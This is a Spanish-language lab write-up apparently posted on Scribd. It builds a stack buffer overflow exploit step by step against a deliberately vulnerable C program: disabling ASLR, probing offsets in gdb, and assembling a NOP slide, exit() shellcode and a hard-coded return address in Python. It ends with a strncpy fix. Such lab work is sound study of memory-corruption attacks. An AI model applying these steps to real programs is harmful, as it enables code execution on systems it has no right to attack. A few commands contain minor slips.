0% encontró este documento útil (0 votos)
136 vistas26 páginas

Shellcode

Este documento describe cómo crear un exploit para un programa vulnerable en C que sufre un desbordamiento de búfer de la pila. Primero, se deshabilita ASLR y se crea un programa simple que es vulnerable a un desbordamiento de búfer. Luego, se analiza el desbordamiento usando un archivo de entrada grande y depuración con GDB. Finalmente, se explica cómo usar la información de la pila desbordada para modificar la dirección de retorno y ejecutar código arbitrario.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
136 vistas26 páginas

Shellcode

Este documento describe cómo crear un exploit para un programa vulnerable en C que sufre un desbordamiento de búfer de la pila. Primero, se deshabilita ASLR y se crea un programa simple que es vulnerable a un desbordamiento de búfer. Luego, se analiza el desbordamiento usando un archivo de entrada grande y depuración con GDB. Finalmente, se explica cómo usar la información de la pila desbordada para modificar la dirección de retorno y ejecutar código arbitrario.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 26

Shellcode

Uray Calvo Rodríguez


Índice

1. Propósito ........................................................................................................................... 3
2. Desactivar ASLR ................................................................................................................. 3
3. Creación de un programa vulnerable .................................................................................. 3
4. Desbordamiento de pila ..................................................................................................... 4
5. Fichero de desbordamiento ................................................................................................ 5
6. Depuración del programa................................................................................................... 7
7. Ejecución normal ................................................................................................................ 8
8. Ejecución desbordando la pila .......................................................................................... 10
9. Instalación HexCurse ........................................................................................................ 12
10. Modificar la dirección de retorno ..................................................................................... 12
11. Prueba nueva dirección de retorno ................................................................................... 13
12. Obtener shellcode ............................................................................................................ 14
13. Construir el exploit ........................................................................................................... 16
14. Prueba del exploit ............................................................................................................ 18
15. Elegir dirección de retorno para el exploit ........................................................................ 19
16. Prueba del exploit 2 ......................................................................................................... 21
17. Actualización del programa.............................................................................................. 22
18. Prueba exploit 3 de la actualización ................................................................................. 23
19. Posible solución vulnerabilidad ........................................................................................ 26

Uray Calvo Rodríguez 2


1. Propósito

El propósito de esta practica es la creación de un exploit de desbordamiento de buffer en un


programa vulnerable sencillo de 32 bits en el sistema operativo Ubuntu 20.04 x64.

2. Desactivar ASLR

ASLR es una técnica utilizada para mitigar los ataques contra los desbordamientos de buffer,
haciendo que los segmentos de memoria no sean fijos, sino que esta varié de forma aleatoria
en cada ejecución por lo que para poder realizar sin problemas la practica, lo deshabilitamos.

• En una terminal ejecutamos los comandos


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
sudo sysctl kernel.randomize_va_space=0

3. Creación de un programa vulnerable

Este programa es una muestra simple de un desbordamiento de buffer en la función “copiar”.


Toma un argumento de entrada de una sola cadena, lo copia a un buffer de tamaño limitado
sin ninguna protección con la función strcpy(), y luego imprime “Listo!”.

• En la terminal ejecutamos el comando:


nano name.c
• Escribimos el código del programa y guardamos el archivo

Uray Calvo Rodríguez 3


• Compilamos el código del programa en 32 bits sin protecciones, comprobamos que esta
en 32 bits y lo ejecutamos con el argumento “uray”.
gcc name.c -o name -fno-stack-protector -m32 -g -z execstack -no-pie
file name
./name uray

4. Desbordamiento de pila

En una ventana del terminal, ejecutamos el comando de ejecución del programa con un
argumento inusual de 100 caracteres “A”, para ver la ejecución y si se produce un
desbordamiento de la pila.
./name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA

Uray Calvo Rodríguez 4


• Como vemos la función strpcy() corrompe la pila (stack smashing detected), por lo que el
programa no puede regresar de la función copiar() a la función principal main(). Esto es,
un ejemplo simple de un exploit DoS (bloqueo de programa).
• El siguiente paso es crear un exploit de ejecución de código y para ello, se analizará y
controlará el fallo producido en el desbordamiento de pila.

5. Fichero de desbordamiento

• Creamos un fichero llamado “des” (de desbordar) para ejecutar el desbordamiento de


pila anterior de manera mas sencilla y que se utilizara después de base para la ejecución
de un exploit de código.
• En una terminal ejecutamos el comando
nano des
• Escribimos el código en Python para que imprima por ejemplo 66 carácteres “A”.

• Damos permisos al archivo con el comando


Uray Calvo Rodríguez 5
chmod a+x des
• Ejecutamos el programa que imprime 66 caracteres “A” con el comando
./des

• Ahora debemos poner la salida de este programa en un archivo nuevo para ejecutarlo
contra el programa vulnerable que llamaremos “sal” (de salida).
• En la terminal ejecutamos los comandos
./des > sal
ls -l sal
• Esto genera un archivo llamado “sal” que contiene 66 caracteres “A” y un salto de línea,
es decir, en total 67 caracteres.

• Vemos el archivo generado introduciendo el comando en una terminal

Uray Calvo Rodríguez 6


nano sal

• Probamos este fichero contra el programa vulnerable para ver si provoca un


desbordamiento de pila corrompiéndola con el tamaño dado en el archivo “des” de 66
caracteres, introduciendo en una terminal el comando
./name $(cat sal)

6. Depuración del programa

• Ejecutamos los siguientes comandos para ejecutar el programa vulnerable en el entorno


de depuración gdb, enumerar el código fuente y establecer un punto de interrupción
gdb -q name
list
break 10

Uray Calvo Rodríguez 7


• El punto de interrupción en la línea 10 nos permite examinar el estado de la memoria en
ese punto. En la línea 10, se ejecuta la operación strcpy() (que es vulnerable cuando el
tamaño de entrada supera los 50 caracteres del destino), pero el programa aun no ha
regresado de la función copiar() a la función principal main().

7. Ejecución normal

• En el entorno de depuración gdb actual ejecutamos los comandos


run A
info registers
• El código se ejecuta hasta el punto de interrupción establecido en el apartado anterior
(línea 10), y se muestran los registros.

• Los registros mas importantes son esp (parte superior de la pila) y ebp (parte inferior de
la pila) que están resaltados en blanco con el ratón.

Uray Calvo Rodríguez 8


• Examinamos el valor que contiene la primera palabra después de ebp mediante el
comando en el entorno de depuración gdb
x/x $ebp + 4
• Esto permite saber la dirección de retorno (cuadrado amarillo) que es la siguiente
instrucción a ejecutar (valor que acabara en eip) después de que regrese a la función
principal main() (valor esencial para el exploit).

• A continuación, introducimos el comando en el entorno de depuración de gdb


x/32x $esp

• Este comando examina las siguiente 32 palabras hexadecimales de la pila comenzando


en esp (eXamina 32 palabras heXadecimales, comenzando en esp).
o El color blanco resaltado con el ratón muestra las palabras desde el principio de
esp hasta el valor inclusive de ebp según la información de los registros anteriores.

Uray Calvo Rodríguez 9


o Los bytes resaltados con el cuadrado rojo es la cadena de caracteres “A” (41 en
hexadecimal) seguido del byte nulo (00) para terminar la cadena (las cadenas en
la pila se colocan al revés o estilo Little Endian).
o La palabra en el cuadro amarillo señala la dirección de retorno.
• Continuamos la ejecución normal del programa para ver la palabra “Listo!” con el
comando
continue

8. Ejecución desbordando la pila

Utilizaremos el archivo anteriormente creado llamado “sal” para provocar un


desbordamiento de pila y ver sus valores.

• A continuación, en el entorno de depuración gdb ejecutamos los comandos


run $(cat sal)
• El programa se ejecuta hasta el punto de interrupción establecido en la línea 10 e
introducimos los comandos necesarios para ver la información de los valores
info registers
x/x $ebp + 4
x/32x $esp

Uray Calvo Rodríguez 10


• La información mostrada hace referencia:
o La región resaltada con el ratón es el marco de la pila que comienza desde esp y
termina en ebp.
o La pila contiene una cadena de valores “41” muy larga (la entrada del programa
era una cadena de 66 caracteres “A”).
o La palabra con el cuadrado amarillo es la dirección de retorno que ahora también
contiene valores “41”.
• Continuamos la ejecución del programa para ver si ocurre el desbordamiento de la pila
con el comando
continue

• Salimos del entorno de gdb


quit, y

Uray Calvo Rodríguez 11


9. Instalación HexCurse

• Instalamos el editor hexadecimal HexCurse 1.58 con el comando en una terminal


sudo apt-get install hexcurse

10. Modificar la dirección de retorno

Buscaremos los bytes exactos de la dirección de retorno modificando el archivo que contiene
los 66 caracteres “A” y el salto de línea (necesario para el exploit).

• En una nueva ventana de terminal siendo root ejecutamos los comandos para copiar el
archivo “sal” en un nuevo archivo “sal2” y abrirlo en el editor hexadecimal HexCurse
cp sal sal2
hexcurse sal2
• En la ventana del editor (ventana derecha) cambiaremos por ejemplo los 8 últimos
caracteres “A” por “87654321” que serán “38 37 36 35 34 33 32 31” en la ventana
hexadecimal (recordemos el objetivo de localizar e identificar que caracteres
sobrescriben la dirección de retorno).

Uray Calvo Rodríguez 12


• Guardamos el archivo para salir
ctr + x, y

11. Prueba nueva dirección de retorno

• En la terminal introducimos los siguientes comandos para volver a ejecutar el programa


en el entorno de depuración gdb con el archivo anterior creado “sal2”, establecer el
punto de interrupción en la línea 10 y ver los registros necesarios (examinar la nueva
dirección de retorno)
gdb -q name
break 10
run $(cat sal2)
info registers
x/x $ebp + 4
x/32x $esp

Uray Calvo Rodríguez 13


• La información mostrada hace referencia:
o La región resaltada con el ratón es el marco de la pila que comienza desde esp y
termina en ebp.
o Observamos como la dirección de retorno ahora es la palabra de 32 bits
"0x31323334" indicada con el cuadrado amarillo que corresponden a los cuatro
últimos caracteres introducidos en el fichero anterior con los valores “4321” en
orden inverso. Esto, significa que podemos controlar perfectamente la ejecución
del programa (de los 66 caracteres “A” del archivo, los 4 últimos caracteres
modifican la dirección de retorno que acabaran en eip (se necesitan exactamente
62 caracteres antes de los 4 bytes que modifican la dirección de retorno).
o El cuadrado verde indica los 4 caracteres después de los caracteres “A” que
introducimos en el editor con los valores “8765” en orden inverso.
• Continuamos la ejecución del programa para ver si ocurre el desbordamiento de la pila y
contrastar que el valor eip ahora es la dirección de retorno “0x31323334” con el comando
continue

• Salimos del entorno de gdb


quit, y

12. Obtener shellcode

El shellcode es la carga útil del exploit de código. Para esta practica, crearemos un shellcode
sencillo que llama a la función exit() y se utiliza para salir de un programa (este exploit no
logra nada, pero sirve para ver la explotación del programa vulnerable y lograr el objetivo).

Uray Calvo Rodríguez 14


• Instalamos nasm con el comando en una terminal siendo root
apt-get install nasm

• Creamos un fichero nuevo llamado “exit.asm” que será donde escribamos nuestro
shellcode en código ensamblador
nano exit.asm

section .text
global _start
_start:
xor eax, eax ;poner a cero eax
mov al, 1 ;se copia el valor 1 a la parte baja del registro AX (AL)
xor ebx,ebx ;poner a cero ebx
int 0x80 ; llamada a la interrupción del sistema

Uray Calvo Rodríguez 15


• Una vez guardado el fichero, compilamos el código en 64 bits (Ubuntu 20.04 x64) y
extraemos los bytes del nuevo fichero “exiter” mediante objdump
nasm -f elf64 exit.asm
ld -s -o exiter exit.o
objdump -d exiter

• Los bytes que necesitamos son: 31 c0 b0 01 31 db cd 80


• El shellcode es: \x31\xc0\xb0\x01\x31\xdb\xcd\x80
• El shellcode tiene una longitud de 8 bytes.

13. Construir el exploit

Una vez obtenido el shellcode vamos a crear un exploit con Python en un archivo llamado
“exp” (de exploit) para lanzarlo y/o explotarlo en el programa vulnerable.

• Primero debemos establecer los NOP slide, pero ¿Qué es un NOP slide?
o Existen algunas imperfecciones en el depurador por las que un exploit podría fallar
entre otros por las variables de entorno que pueden hacer que la ubicación de la
pila cambie ligeramente.
o La solución establecida es un NOP slide. Una larga serie de “90” caracteres o bytes
(x90) que cuando se procesan no hacen nada, y pasan a la siguiente instrucción.
• Para este exploit usaremos por ejemplo un NOP slide de 30 bytes.
• En una nueva ventana de terminal ejecutamos el comando
nano exp

Uray Calvo Rodríguez 16


• Escribimos el código en Python que se muestra a continuación y guardamos el fichero

#!/usr/bin/python
nopslide = '\x90' *30
shellcode = (‘\x31\xc0\xb0\x01\x31\xdb\xcd\x80’)
padding = 'A' * (62 - 8 - 4 - 30)
rip = ‘4321’
print nopslide + shellcode + padding + rip

Explicación del código


1. Declaración de Python
2. Declaración de NOP slide de 30 bytes.
3. Declaración del shellcode de 8 bytes.
4. Declaración del relleno de caracteres “A” suficientes para poder cambiar la dirección
de retorno
a. 62: bytes necesarios hasta llegar a la modificación de la dirección de retorno
b. 8: bytes que ocupa el shellcode
c. 30: bytes elegidos para el NOP slide
5. Declaración de la dirección de retorno temporal (mas adelante se decidirá cual es la
definitiva. De momento se utiliza esta porque es fácilmente detectable en las pruebas)
6. Declaración de imprimir todo en orden

Uray Calvo Rodríguez 17


• Una vez guardado el fichero debemos poner la salida de este programa en un archivo
nuevo para ejecutarlo contra el programa vulnerable que llamaremos “sal3” y tener así,
nuestro primer exploit
• En la terminal ejecutamos los comandos
chmod a+x exp
./exp > sal3
• Vemos el resultado del nuevo archivo “sal3” mediante el editor hexadecimal HexCurse
(NOP slide + shellcode + caracteres “A” + dirección de retorno) mediante el comando
hexcurse sal3

• Salimos del editor hexadecimal


ctr + x

14. Prueba del exploit

Probamos el exploit generado en el archivo “sal3” contra el programa vulnerable mediante el


depurador gdb. En caso de estar todo correcto, decidiremos la dirección de retorno necesaria
(modificando el exploit anterior “exp” en un nuevo fichero) para que ejecute finalmente el
shellcode.

• En una nueva terminal ejecutamos los comandos necesarios para ejecutar el entorno de
depuración gdb y ver los resultados.
gdb -q name
break 10

Uray Calvo Rodríguez 18


run $(cat sal3)
info registers
x/x $ebp + 4
x/32x $esp

• La información mostrada hace referencia:


o La región resaltada con el ratón es el marco de la pila que comienza desde esp y
termina en ebp.
o La dirección de retorno ahora es la palabra de 32 bits "0x31323334" indicada con
el cuadrado amarillo.
o El cuadrado verde indica el NOP slide. Los valores “90” antes del shellcode.
o El cuadrado rojo hace referencia al shellcode.
o El cuadrado azul resalta los caracteres “A” con los valores “41”.

15. Elegir dirección de retorno para el exploit

Después de comprobar que tanto la dirección de retorno como los demás datos del exploit
están en los registros debemos elegir la dirección correcta para que ejecute el shellcode.
Si todo fuera perfecto, podríamos poner la dirección del primer byte del shellcode, pero para
dar un margen de error, elegimos una dirección en algún lugar en medio del NOP slide.

• Fijándonos en la imagen anterior de los registros (imagen del punto 14) una dirección
adecuada seria 0xffffd5c0

Uray Calvo Rodríguez 19


• Tenemos que cambiar la dirección de retorno del exploit en el fichero “exp” que
actualmente tiene la dirección de retorno temporal “4321” por la que hemos visto que
seria la adecuada.
• La dirección de retorno deberá estar al revés estilo Little Endian quedando:
\xc0\xd5\xff\xff
• Salimos del entorno de depuración gdb, copiamos el fichero “exp” en un nuevo fichero
llamado “exp2” y modificamos el exploit con los comandos
quit, y
cp exp exp2
nano exp2

• Guardamos y ponemos la salida de este programa en un archivo nuevo para ejecutarlo


contra el programa vulnerable que llamaremos “sal4” y tener así, nuestro exploit
definitivo o segundo exploit.
• En la terminal ejecutamos los comandos
./exp > sal4
• Vemos el resultado del nuevo archivo “sal4” mediante el editor hexadecimal HexCurse
(NOP slide + shellcode + caracteres “A” + dirección de retorno definitiva) mediante el
comando
hexcurse sal4

Uray Calvo Rodríguez 20


• Salimos del editor hexadecimal
ctr + x

16. Prueba del exploit 2

Probamos el exploit “sal4” contra el programa vulnerable mediante el depurador gdb.

• En una nueva terminal ejecutamos los comandos necesarios


gdb -q name
break 10
run $(cat sal4)
info registers
x/x $ebp + 4
x/32x $esp

Uray Calvo Rodríguez 21


• Ahora la dirección de retorno es “0xffffd5c0” como se muestra en el cuadrado amarillo
coincidiendo con la dirección de la pila elegida.
• Continuamos con la ejecución del programa mediante el comando en la ventana gdb
continue

• El exploit funciona llamando al shellcode. Es decir, tenemos un exploit de código en


funcionamiento, que ejecuta una shellcode (llama a la función exit() para salir del
programa) tras aprovecharse de la vulnerabilidad que contiene.
• Salimos del entorno de gdb
quit

17. Actualización del programa

Este exploit de código funciona únicamente con la compilación actual del programa. Si este
programa tuviera una actualización en la que se ha tenido que volver a compilar, deberíamos
de volver a cambiar nuestro exploit con una nueva dirección de retorno y ver si sigue siendo
igual de vulnerable.

• En una nueva terminal ejecutamos los comandos necesarios para copiar el archivo que
contiene el programa “name.c” a uno nuevo llamado “name2.c”
cp name.c name2.c
nano name.c
• Actualizamos el programa cambiándole el mensaje de salida “Listo!” por “Fin!” y
guardamos.

Uray Calvo Rodríguez 22


• Compilamos el código del programa en 32 bits sin protecciones, comprobamos que esta
en 32 bits y lo ejecutamos con el argumento “uray”.
gcc name.c -o name -fno-stack-protector -m32 -g -z execstack -no-pie
file name
./name uray

18. Prueba exploit 3 de la actualización

Localizamos una nueva dirección de retorno para ejecutar el exploit en la actualización


del programa mediante los registros del entorno de depuración gdb y así, modificarlo en
nuestro exploit y ejecutarlo.

• En una nueva terminal ejecutamos los comandos necesarios


gdb -q name

Uray Calvo Rodríguez 23


break 10
run $(cat sal4)
info registers
x/32x $esp

• Debemos modificar la dirección actual del exploit “0xffffd5c0” indicada en el cuadrado


amarillo por una nueva y adecuada en medio de algún NOP slide. En este caso,
“0xffffd120” seria una buena opción indicada con el cuadrado rojo.
• La dirección de retorno deberá estar al revés estilo Little Endian quedando:
\x20\xd1\xff\xff
• Salimos del entorno de depuración gdb, copiamos el fichero “exp2” en un nuevo
fichero llamado “exp3”, y modificamos la dirección de retorno del exploit con los
comandos
quit, y
cp exp2 exp3
nano exp3

Uray Calvo Rodríguez 24


• Guardamos y ejecutamos el exploit para comprobar si sigue siendo vulnerable en el
entorno de depuración gdb con los comandos
./exp3 > sal5
gdb -q name
run $(cat sal5)

• Se demuestra como la actualización del programa sigue siendo vulnerable al exploit


de desbordamiento de pila.
• Probamos también el shellcode fuera del entorno de depuración gdb con los
comandos en una nueva terminal
./name $(cat sal5)

• El exploit provoca la salida inmediata del programa sin mostrar el mensaje de salida
“Fin!”.

Uray Calvo Rodríguez 25


19. Posible solución vulnerabilidad

Una posible solución a la vulnerabilidad del programa consiste en cambiar la función


vulnerable que provoca el desbordamiento de pila strcpy().

• La función strcpy() no verifica la longitud del búfer y puede sobrescribir la zona de


memoria contigua al destino previsto.
• Una de las formas de mitigar esta vulnerabilidad es cambiarla por la función strncpy()
que combate el desbordamiento al exigir ponerle una longitud como parámetro.
• Modificamos el programa creando un nuevo fichero llamado “name3.c”. Para esta
función, mitigaremos el exploit mediante un condicional y el cambio de la función.

• Compilamos el programa en 32 bits y probamos mediante los comandos


gcc name3.c -o name3 -m32
./name3 A
./name AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Uray Calvo Rodríguez 26

También podría gustarte